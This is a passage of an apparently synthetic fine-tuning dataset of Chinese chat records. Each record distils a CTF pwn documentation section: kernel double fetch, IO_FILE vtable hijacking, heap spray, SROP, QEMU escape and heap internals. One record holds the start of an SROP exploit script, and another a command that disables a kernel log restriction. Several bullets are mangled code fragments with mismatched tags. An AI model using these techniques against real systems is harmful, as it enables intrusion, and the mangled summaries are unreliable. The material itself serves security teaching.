kerne panic 。\n- 具体操作是在启动参数中增加其内核数选项，如： `bash -smp 2,cores=2,threads=1 \\ ` > 在启动后，可通过 /proc/cpuinfo` 查看当前运行的内核数及超线程数。\n\n关键术语：\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n\n代码/命令片段线索：\n- bash: 1 行，首行 `echo 0 > /proc/sys/kernel/dmesg_restrict`\n- bash: 1 行，首行 `-smp 2,cores=2,threads=1 \\`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 356, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "其他", "heading_path": ["Double Fetch", "2018 0CTF Finals Baby Kernel", "其他"], "original_id": "docs-314023aec7632b34f7d4", "original_line": 785, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "source_root": "docs", "source_sha256": "c9b70bf8939ac1214b392075d17bd8d75fcd6da1799a7a73b3edd911a1a15991", "split": "train", "split_group_key": "449a7b6cc96e74a09bcbcd1e", "subcategory": "pwn/linux/kernel-mode", "terms": ["漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash"], "title": "Double Fetch"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4e42b9c79c1b359c785a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md` 中的章节「_IO_str_jumps -> overflow」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/exploit-in-libc2.24.md`\n标题：glibc 2.24下 IO_FILE 的利用\n章节：glibc 2.24下 IO_FILE 的利用 > 新的利用技术 > _IO_str_jumps -> overflow\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“_IO_str_jumps -> overflow”展开。\n- } libc_hidden_def (_IO_str_overflow) ` 利用以下代码来劫持程序流程 `c new_buf = (char ) (((_IO_strfile ) fp)->_s._allocate_buffer) (new_size);\n- 这里以_IO_str_overflow为例子： `c int _IO_str_overflow (_IO_FILE fp, int c) { int flush_only = c == EOF;\n- if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))// should in { if (fp->_flags & _IO_USER_BUF) / not allowed to enlarge / // pass return EOF;\n- ` 如果我们能设置文件指针的 vtable 为 _IO_str_jumps 么就能调用不一样的文件操作函数。\n- if (fp->_flags & _IO_NO_WRITES)// pass return flush_only ?\n\n关键术语：\n- 边界/溢出\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n- code:c\n\n代码/命令片段线索：\n- c: 23 行，首行 `const struct _IO_jump_t _IO_str_jumps libio_vtable =`\n- c: 57 行，首行 `int`\n- c: 2 行，首行 `new_buf`\n- plain: 8 行，首行 `_flags = 0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3442, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "_IO_str_jumps -> overflow", "heading_path": ["glibc 2.24下 IO_FILE 的利用", "新的利用技术", "_IO_str_jumps -> overflow"], "original_id": "docs-be86eed9fbff0481e690", "original_line": 1197, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "source_root": "docs", "source_sha256": "f033c1e253d390d1a6248d6f91cfd97718ad7e8293eb2fe6d8fa326592f01bf0", "split": "train", "split_group_key": "6791d6633e762c95a9fe7258", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file", "code:c"], "title": "glibc 2.24下 IO_FILE 的利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/exploit-in-libc2.24.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4e4c8426761c0e2635b5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md` 中的章节「例题：RWCTF2023体验赛 - Digging into kernel 3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/spray.md`\n标题：Heap Spray\n章节：Heap Spray > 例题：RWCTF2023体验赛 - Digging into kernel 3\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：RWCTF2023体验赛 - Digging into kernel 3”展开。\n- > 本篇为了介绍堆喷射这一手法，同时为了使用更多不同的结构体，笔者会用比较复杂的思路去解题。\n- 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/RWCTF2023-digging-into-kernel-3](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/RWCTF2023-digging-into-kernel-3) 下载。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 283, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "例题：RWCTF2023体验赛 - Digging into kernel 3", "heading_path": ["Heap Spray", "例题：RWCTF2023体验赛 - Digging into kernel 3"], "original_id": "docs-ceb2998ac8e30a31448c", "original_line": 766, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "source_root": "docs", "source_sha256": "2ae680126839cc9344bcfca380d500d735c945fde26f1a88b9e25d41a3e55a18", "split": "train", "split_group_key": "2b6f754b8003bf7ce4ff146d", "subcategory": "pwn/linux/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Heap Spray"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/spray.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4e93b3e370b4cd069b6a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/exploitation/intro.md` 中的章节「QEMU 逃逸入门」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/exploitation/intro.md`\n标题：QEMU 逃逸入门\n章节：QEMU 逃逸入门\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“QEMU 逃逸入门”展开。\n- 选手通常需要编写一个与这些接口进行交互的程序并传到远程主机上运行以完成利用（类似于内核 Pwn）。\n- 题目本身通常以一个 QEMU 模拟设备的形式进行呈现，该设备通常会实现一些功能并提供用户可操纵的 MMIO/PMIO 接口。\n- QEMU 逃逸本质上和用户态的 Pwn 题没有太大区别，只不过呈现形式略有不同。\n- 下面我们通过一道例题来了解 QEMU Pwn 题目的基本做法。\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- qemu\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 184, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "QEMU 逃逸入门", "heading_path": ["QEMU 逃逸入门"], "original_id": "docs-6cd28bb675ec2c1fb639", "original_line": 1439, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "source_root": "docs", "source_sha256": "f8edae8145f64459b4f5d57c8bc964a29898ad933446596b2896c97172be14e7", "split": "train", "split_group_key": "8b401ecf647d06eefec21d7a", "subcategory": "pwn/virtualization/qemu", "terms": ["漏洞利用", "pwn", "virtualization", "qemu", "exploitation"], "title": "QEMU 逃逸入门"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4ec03022d9c713c17e3a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > 示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- 漏洞发现 实用IDA直接反编译看了一下，发现程序就几行汇编代码，如下 `asm public start start proc near xor rax, rax mov edx, 400h mov rsi, rsp mov rdi, rax syscall retn start endp ` 根据syscall的编号为0，可以知道该程序执行的指令为read(0,$rsp,400)，即向栈顶读入400个字符。\n- 利用思路 由于程序中并没有sigreturn调用，所以我们得自己构造，正好这里有read函数调用，所以我们可以通过read函数读取的字节数来设置rax的值。\n- 检查保护 `text ➜ smallest checksec smallest Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ` 程序主要开启了NX保护。\n- 漏洞利用程序 ``python from pwn import from LibcSearcher import small = ELF('./smallest') if args['REMOTE']: sh = remote('127.0.0.1', 7777) else: sh = process('./smallest') context.arch = 'amd64' context.log_level = 'debug' syscall_ret = 0x00000000004000BE start_a...\n- 基本步骤如下 确定文件基本信息 ``text ➜ smallest file smallest smallest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped ` 可以看到该程序为64位静态链接版本。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:text\n- code:asm\n\n代码/命令片段线索：\n- text: 2 行，首行 `➜ smallest file smallest`\n- text: 6 行，首行 `➜ smallest checksec smallest`\n- asm: 9 行，首行 `public start`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1077, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "示例", "heading_path": ["SROP", "示例"], "original_id": "docs-fe26463f69e41a66677f", "original_line": 1380, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "9281eb2919f5b3297ebc141c", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:text", "code:asm"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4ec0c1686658df706237", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「例题： kbook」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`\n标题：Cross-Cache UAF\n章节：Cross-Cache UAF > 例题： kbook\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题： kbook”展开。\n- > 23 年给某个比赛供的题目，据说最后是 0 解，但是笔者当年忘了问收题的人比赛名字叫啥了，遇到过这道题目的同学可以在 issue 界面告诉笔者，好让笔者修改这一段前缀说明：） 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/Unknown2023-kbook](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linu...\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 294, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "例题： kbook", "heading_path": ["Cross-Cache UAF", "例题： kbook"], "original_id": "docs-084119bc1c0eaf174d52", "original_line": 738, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "source_root": "docs", "source_sha256": "687aa9899839a03ab9ddad6785475897c71ad6e3bd6110e36b945c28303aa971", "split": "train", "split_group_key": "320e20661aeffa5438c2e4f8", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4ef389c8271590c294d6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「Fast Bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > bin > Fast Bin\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“Fast Bin”展开。\n- However, it is not dynamically tunable, since consolidation reduces fragmentation surrounding large chunks even if trimming is not used. / #define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL) `` malloc_consolidate 函数可以将 fastbin 中所有能和其它 chunk 合并的 chunk 合并在一起。\n- the default trim threshold as a compromise heuristic to only attempt consolidation if it is likely to lead to trimming.\n- ` / Chunks in fastbins keep their inuse bit set, so they cannot be consolidated with other free chunks. malloc_consolidate releases all chunks in fastbins and consolidates them with other free chunks. */ ``\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 1 行，首行 `**malloc_consolidate 函数可以将 fastbin 中所有能和其它 `chunk` 合并的 `chunk` 合并在一起。具体地参见后续的详细函数的分析。**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 625, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Fast Bin", "heading_path": ["define INTERNAL_SIZE_T size_t", "bin", "Fast Bin"], "original_id": "docs-f8afbcc397ead1d63fa1", "original_line": 956, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "2b6c560e6f4d932b6350e01d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4f1047507cc698b93188", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「什么是堆」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 什么是堆\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“什么是堆”展开。\n- Wolfram Gloger 在 Doug Lea 的基础上进行改进使其可以支持多线程，这个堆分配器就是 ptmalloc 。\n- 在程序运行过程中，堆可以提供动态分配的内存，允许程序申请大小未知的内存。\n- 堆管理器处于用户程序与内核中间，主要做以下工作 1. 响应用户的申请内存请求，向操作系统申请内存，然后将其返回给用户程序。\n- 同时，为了保持内存管理的高效性，内核一般都会预先分配很大的一块连续的内存，然后让堆管理器通过某种算法管理这块内存。\n- Linux 中早期的堆分配与回收由 Doug Lea 实现，但它在并行处理多个线程时，会共享进程的堆内存空间。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 826, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "什么是堆", "heading_path": ["堆概述", "什么是堆"], "original_id": "docs-4cfca365b8615c2945a8", "original_line": 941, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "8de12fb59801c69a1d1c3202", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4f835ac2cfe4dfa0f9fa", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/hardware/cpu/side-channel/prefetch.md` 中的章节「REFERENCE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/hardware/cpu/side-channel/prefetch.md`\n标题：prefetch side-channel attack\n章节：prefetch side-channel attack > REFERENCE\n路径分类：pwn / pwn/hardware/cpu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“REFERENCE”展开。\n- Prefetch Side-Channel Attacks: Bypassing SMAP and Kernel ASLR EntryBleed: Breaking KASLR under KPTI with Prefetch (CVE-2022-4543)\n\n关键术语：\n- CVE\n- 漏洞利用\n- pwn\n- hardware\n- cpu\n- side-channel\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 221, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "REFERENCE", "heading_path": ["prefetch side-channel attack", "REFERENCE"], "original_id": "docs-a6328f0b1806da03ddd8", "original_line": 638, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "source_root": "docs", "source_sha256": "2becfb3a5a6f80745403242ec2d2ce0a4c230bb280b012418ce1204612558448", "split": "train", "split_group_key": "566d27ce81afea0e2bc73a18", "subcategory": "pwn/hardware/cpu", "terms": ["CVE", "漏洞利用", "pwn", "hardware", "cpu", "side-channel"], "title": "prefetch side-channel attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/hardware/cpu/side-channel/prefetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4fa6d30d20865d2fd700", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「system call chains」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > 攻击原理 > system call chains\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“system call chains”展开。\n- 如下图所示 ，这样当每次syscall返回的时候，栈指针都会指向下一个Signal Frame。\n- 文件: ./figure/srop-example-2.png]\n- 需要指出的是，上面的例子中，我们只是单独的获得一个shell。\n- 因此就可以执行一系列的sigreturn函数调用。\n- 把原来rip指向的syscall gadget换成syscall;\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 262, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "system call chains", "heading_path": ["SROP", "攻击原理", "system call chains"], "original_id": "docs-6d065a5fd925b521b099", "original_line": 1379, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "a8ed693c9c9299d19cc6e7a7", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-505ae97c4a93bca628a9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「验证内核签名」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`\n标题：内核源码下载与编译\n章节：内核源码下载与编译 > 验证内核签名\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“验证内核签名”展开。\n- 为了消除这个问题，我们可以选择使用 TOFU 信任对应的密钥： `shell $ gpg2 --tofu-policy good 38DBBDC86092693E gpg: Setting TOFU trust policy for new binding > to good.\n- HTTP request sent, awaiting response...\n- ` 在验证成功后，我们就可以解压缩压缩包得到内核源码： `shell $ tar -xf linux-6.12.16.tar ``\n- Primary key fingerprint: 647F 2865 4894 E3BD 4571 99BE 38DB BDC8 6092 693E ` 注意到这里报了一个 WARNING，因为我们导入的公钥没有可信的签名，无法证明其确实来自于 Linus Torvalds 和 Greg Kroah-Hartman。\n- 为了防止内核被恶意修改，内核团队提供了签名校验，在发布内核时，发布者会对内核进行签名。\n\n关键术语：\n- 密码学\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `$ gpg2 --locate-keys [EMAIL_REDACTED] [EMAIL_REDACTED]`\n- shell: 17 行，首行 `$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v6.x/linux-6.12.16.tar.sign`\n- shell: 2 行，首行 `$ gpg2 --tofu-policy good 38DBBDC86092693E`\n- shell: 7 行，首行 `$ gpg2 --trust-model tofu --verify ./linux-6.12.16.tar.sign`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2465, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "验证内核签名", "heading_path": ["内核源码下载与编译", "验证内核签名"], "original_id": "docs-1967963bd14df92bf2ef", "original_line": 700, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "source_root": "docs", "source_sha256": "1bbcde79aa748d30013efb917e145242ce3c67e4eca3b23d9c0bd9708af4af0f", "split": "train", "split_group_key": "7946d29b0975735806507e85", "subcategory": "pwn/linux/kernel-mode", "terms": ["密码学", "AI安全", "pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "内核源码下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-507d191f4da6e3a35174", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「寻找危险函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`\n标题：堆溢出\n章节：堆溢出 > 小总结 > 寻找危险函数\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 通过寻找危险函数，我们快速确定程序是否可能有堆溢出，以及有的话，堆溢出的位置在哪里。\n- 常见的危险函数如下 - 输入 - gets，直接读取一行，忽略 '\\x00' - scanf - vscanf - 输出 - sprintf - 字符串 - strcpy，字符串复制，遇到 '\\x00' 停止 - strcat，字符串拼接，遇到 '\\x00' 停止 - bcopy\n\n关键术语：\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 